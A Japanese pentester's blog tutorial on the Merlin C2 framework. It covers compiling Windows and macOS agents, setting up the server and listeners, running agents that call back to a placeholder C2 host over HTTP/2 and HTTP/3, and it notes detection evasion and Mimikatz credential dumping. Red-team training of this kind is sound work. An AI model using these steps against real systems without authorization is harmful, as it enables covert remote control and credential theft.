見出し画像

C2フレームワーク「Merlin」のすすめ

デジタルペンテストサービス部のなおです。
主に OA 環境へのペネトレーションテストを担当しています。

以前、本ブログにて C2 フレームワーク「Covenant」の紹介記事が上がりましたが、今回は私の推し C2 フレームワークである「Merlin」について紹介したいと思います。

Covenant の紹介記事はこちら

注意:本投稿で記述した手法を用いてトラブルなどが発生した場合、当社は一切の責任を負いかねます。また、本情報の悪用はしないでください。

Merlin とは

Merlin is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang.(GitHub より引用)

Merlin とは、Russel Van Tuyl 氏によって開発が進められている Post-Exploitation C2 フレームワークです。Go を用いて開発されており、通信チャネルに HTTP/2 を利用できるのが特長です。

Merlin のより詳しい仕様や背景については、以下の作成者による紹介記事が参考になります。
https://medium.com/@Ne0nd0g/introducing-merlin-645da3c635a

Merlin のここがすごい!

Merlin を使用する大きなメリットは、以下の二点です。

・HTTP/2、HTTP/3 に対応している
・クロスプラットフォームに対応している

1. HTTP/2、HTTP/3 に対応している
Merlin の最大の特長は、なんと言っても HTTP/2HTTP/3 に対応している点です。様々な C2 フレームワークがまとめられている The C2 Matrix を確認しても、HTTP/2 または HTTP/3 に対応している C2 は Merlin のみとなっています。

HTTP/2、HTTP/3 は従来の HTTP/1.1 と比較してかなり新しく、セキュリティ製品がこれらのプロトコルに対応していないということも少なくありません。そのため、セキュリティ製品によって HTTP/1.1 による通信が阻まれてしまったとしても、HTTP/2、HTTP/3 であれば C2 サーバとのセッション確立ができる可能性があります。

2. クロスプラットフォームに対応している
もう一つの利点は、クロスプラットフォームに対応していることです。Merlin は Go を用いて開発されています。その Go がクロスコンパイルに対応しているため、Go がサポートしている OS および アーキテクチャであれば、Merlin を利用することが可能です。

例えば、一般的な PC 端末、サーバとして利用される Windows、macOS、Linux はもちろん、ARM アーキテクチャを採用している Android、iOS といったモバイル端末や IoT 機器用にコンパイルすることも可能です。 

実際に使ってみる

それでは、実際に Merlin を使ってみようと思います。今回使用している検証環境は以下の通りです。

・Merlin のバージョン:Merlin v0.9.1-beta
・エージェントのコンパイル環境:Ubuntu 20.04
・C2 サーバ:Ubuntu 20.04
・標的想定端末:
    - Windows 10
    - macOS Big Sur

C2 サーバとエージェントのコンパイル環境には、それぞれ Linux を採用しています。もちろん C2 サーバ上でエージェントをコンパイルすることも可能ですが、私の場合グローバル IP を持つ C2 サーバとは別に、コンパイル用の環境を手元に用意しています。

標的端末としては、OA 環境において一般的な Windows と、クロスプラットフォーム対応であることを活かして macOS の二つを用いて検証します。

(事前準備)エージェントのコンパイル

まずはじめに事前準備として、エージェントのコンパイルを行います。GitHub のリリースページにてコンパイル済みのエージェントをダウンロードすることもできますが、これらはログが一切表示されない設定でコンパイルされているためデバッグしづらいといった欠点があります。また、コンパイル環境を整えておくことで、オプションのデフォルト値を自由に設定することが可能となるなどのメリットから、エージェントは自身でコンパイルすることを推奨します。

以下のコマンドを実行し、最新の Go をインストールします。最新のバイナリパッケージは、Go のダウンロードページを参照してください。

$ ~
$ sudo apt update
$ sudo apt install build-essential
$ wget https://golang.org/dl/go1.15.8.linux-amd64.tar.gz
$ sudo tar -C /usr/local -zxf go1.15.8.linux-amd64.tar.gz
$ echo 'export PATH=$PATH:/usr/local/go/bin' >> .bashrc
$ source .bashrc
$ go version
go version go1.15.8 linux/amd64

Merlin のソースコードをダウンロードし、Windows と macOS 用のエージェントをコンパイルします。なお、コンパイル時に quic-go という Go モジュールがダウンロードされますが、Go1.15 をサポートしていないバージョンの quic-go がダウンロードされるため、このままではコンパイルエラーが発生してしまいます。そのため、go.mod ファイルを一部編集します。

$ go get github.com/Ne0nd0g/Merlin
$ cd go/src/github.com/Ne0nd0g/Merlin/
$ sed -i -e 's/quic-go v0.17.3/quic-go v0.18.0/' go.mod

Windows と macOS 用のエージェントをコンパイルします。なお、エージェントはアンチウイルスソフトで検知されるため注意してください。

$ GOOS=windows GOARCH=amd64 go build -ldflags "-X main.protocol=http -X main.psk=gottani" -o merlin-win-amd64.exe cmd/merlinagent/main.go
$ GOOS=darwin GOARCH=amd64 go build -ldflags "-X main.protocol=http -X main.psk=gottani" -o merlin-mac-amd64 cmd/merlinagent/main.go

今回は Windows と macOS 用の実行ファイルをコンパイルしていますが、上記コマンドの環境変数 GOOS および GOARCH を変更することで、Go がサポートしている数多くのプラットフォームに合わせたエージェントを作成することが可能です。Go がサポートしているプラットフォームとその環境変数はこちらで確認することができます。

また、-ldflags オプションでエージェントのオプションのデフォルト値を指定することができます。よく指定するオプションは以下の通りです。ただ、ここで指定するのはあくまでオプションのデフォルト値であり、これらのオプションはエージェント実行時に指定することも可能です。

・main.url
接続先の C2 サーバの URL を指定します。(例:http://example.com:80)
・main.psk
通信の暗号化に使用する事前共有鍵を指定します。
・main.proxy
経由するプロキシを指定します。このオプションは HTTP/1.1 を使用する場合のみ有効です。(例:http://example.local:8080)
・main.protocol
通信に使用するプロトコルを指定します。指定可能なプロコトルは、http(HTTP/1.1 Clear-Text)、https(HTTP/1.1 over TLS)、h2c(HTTP/2 Clear-Text)、h2(HTTP/2 over TLS)、http3(HTTP/3)です。

C2 サーバのセットアップ

次に C2 サーバのセットアップを行います。C2 サーバ側のセットアップは非常に簡単で、GitHub のリリースページからコンパイル済みの実行ファイルをダウンロードし、実行するだけです。

$ mkdir Merlin
$ cd Merlin/
$ wget https://github.com/Ne0nd0g/merlin/releases/download/v0.9.1-beta/merlinServer-Linux-x64.7z
$ sudo apt install p7zip-full
$ 7z x merlinServer-Linux-x64.7z # Password = merlin
$ sudo ./merlinServer-Linux-x64

サーバプログラムを実行すると、以下のように Merlin のコンソールが起動します。

スクリーンショット 2021-02-11 142800

一度、exit コマンドでコンソールから抜け、TLS 通信用のサーバ証明書を発行します。今回は検証なので、無料でサーバ証明書を発行可能な Let's Encrypt を使用します。このとき、ドメインの検証に 80/TCP を使用するため、ファイアウォールでポートを開けておきましょう。

$ sudo apt install certbot
$ sudo certbot certonly --standalone -d <example.com>
$ sudo ls /etc/letsencrypt/live/<example.com>
cert.pem  chain.pem  fullchain.pem  privkey.pem  README
$ sudo cp /etc/letsencrypt/live/<example.com>/cert.pem data/x509/server.crt
$ sudo cp /etc/letsencrypt/live/<example.com>/privkey.pem data/x509/server.key

Listener の作成

Merlin には、かっこいい WebUI はありませんが、コンソールは PowerShell Empire や Metasploit ライクな仕様になっているため、これらを使い慣れている人であれば操作しやすいと思います。まずは、C2 サーバのセットアップ時と同様に Merlin のサーバプログラムを実行します。

$ sudo ./merlinServer-Linux-x64

Merlin 起動直後の Main メニューで help コマンドを打つと、実行可能なコマンドを確認することができます。

スクリーンショット 2021-02-11 151908

Listener を作成するためには、listeners コマンドで Listener メニューを開き、use コマンドで Listener が使用するプロトコルを選択します。ここでは、まずは基本となる http を選択しています。

$ sudo ./merlinServer-Linux-x64
Merlin» listeners
Merlin[listeners]» use http

使用するプロトコルを選択すると、info コマンドで現在の Listener の設定を確認することができます。

スクリーンショット 2021-02-11 152904

各設定項目は以下の通りです。

・Interface
待ち受けるインタフェースを指定します。基本的には 0.0.0.0 を設定しておけば問題ありません。
・Port
待ち受けるポートを指定します。
・PSK
通信の暗号化に使用する事前共有鍵を指定します。ここで指定したものを、エージェントの実行時にも指定する必要があります。
・URLS
待ち受ける URL を指定します。
・Name
任意の Listener 名を設定します。
・Description
任意の Listener の説明を設定します。
・Protocol
Listener が使用するプロトコルです。プロトコルは Listener メニューで選択しているため、ここでは変更できません。

実際に環境に合わせて、set コマンドで設定を変更します。

Merlin[listeners][http]» set Interface 0.0.0.0
Merlin[listeners][http]» set PSK gottani
Merlin[listeners][http]» set Name http
Merlin[listeners][http]» set Description http listener

変更後、info コマンドで再度設定を確認し、問題がなければ start コマンドで Listener を起動します。

スクリーンショット 2021-02-11 153357

Listener メニューで list コマンドを実行することで、作成された Listener の一覧を確認することができます。

スクリーンショット 2021-02-11 155041

エージェントの実行

ここまで来たら、後は実際に標的想定端末上でエージェントを実行するだけです。エージェントは以下のオプションを指定可能です。

スクリーンショット 2021-02-11 162142

まずは Windows 10 上でエージェントを実行してみます。

スクリーンショット 2021-02-11 160620

C2 サーバとのセッションが確立すると、Merlin のコンソールにチェックインに成功した旨のログが出力されます。

スクリーンショット 2021-02-11 161619

続いて、macOS Big Sur 上でエージェントを実行します。

スクリーンショット 2021-02-11 162611

Merlin の Main メニューで sessions コマンドを実行すると、C2 サーバと接続しているエージェントの一覧を確認することができます。

スクリーンショット 2021-02-11 163553

Windows、macOS ともに C2 サーバとセッション確立できていることが確認できます。

エージェントの操作

C2 サーバとのセッション確立後のエージェントの操作について、簡単に解説します。まずは、Main メニューから interact コマンドで Agent メニューに遷移します。このとき、エージェントの UUID を指定しますが、Merlin はタブ補完が効くので入力はそこまで煩わしくありません。

Agent メニューに遷移後、info コマンドを実行することでエージェントの詳細を確認することができます。

スクリーンショット 2021-02-11 181533

また、Agent メニューで help コマンドを打つと、実行可能なコマンドを確認することができます。

スクリーンショット 2021-02-11 181831

一般的な C2 フレームワークと同様に、任意のコマンド実行やファイルのダウンロード、アップロードが可能です。

スクリーンショット 2021-02-11 183738

また、ここでは詳しい説明を省きますが、Merlin には多くのモジュールが実装されており、これらのモジュールをエージェントに実行させることが可能です。現在実装されているモジュールの一覧は以下の通りです。

スクリーンショット 2021-02-11 184225

例えば、標的想定端末が Windows であれば、Mimikatz をロードして認証情報をダンプすることなどが可能です。

HTTP/2、HTTP/3 の使用

ここまで長くなってしまいましたが、最後に Merlin の最大の特長である、HTTP/2、HTTP/3 によるセッション確立を行ってみようと思います。HTTP/2 および HTTP/3 それぞれの Listener を以下のような設定で作成し、起動します。

スクリーンショット 2021-02-11 194132

スクリーンショット 2021-02-11 195921

次に、標的想定端末上で Wireshark によるパケットキャプチャを行いながら、エージェントを起動します。

C:\> merlin-win-x64.exe -proto h2c -psk gottani -url http://<example.com>:80 -v
C:\> merlin-win-x64.exe -proto http3 -psk gottani -url https://<example.com>:443 -v

セッション確立時の通信を見てみると、それぞれ HTTP/2 と QUIC(HTTP/3 は QUIC というプロトコル上でやり取りされる)によって通信が行われていることを確認できます。

スクリーンショット 2021-02-11 195158

スクリーンショット 2021-02-11 200538

まとめ

今回は、「HTTP/2、HTTP/3 対応」「クロスプラットフォーム対応」といった特長を持つ C2 フレームワーク Merlin を紹介しました。

「エージェントのコンパイル」で軽く触れた通り、HTTP/1.1 使用時にしかプロキシを設定できないなどといったかゆいところに手が届かない部分もありますが、かなり活発に開発が進められていることもあり今後より使いやすくなることが期待できます。

この記事を読んで Merlin が気になったセキュリティ技術者の方は、手元の環境で動かしてみるところから、ぜひ始めてみてください。

リファレンス

・Merlin
https://github.com/Ne0nd0g/merlin
・Merlin Command and Control framework
https://merlin-c2.readthedocs.io/en/latest/index.html
・Introducing Merlin — A cross-platform post-exploitation HTTP/2 Command & Control Tool
https://medium.com/@Ne0nd0g/introducing-merlin-645da3c635a
・C2Matrix
https://www.thec2matrix.com/

この記事が気に入ったらサポートをしてみませんか?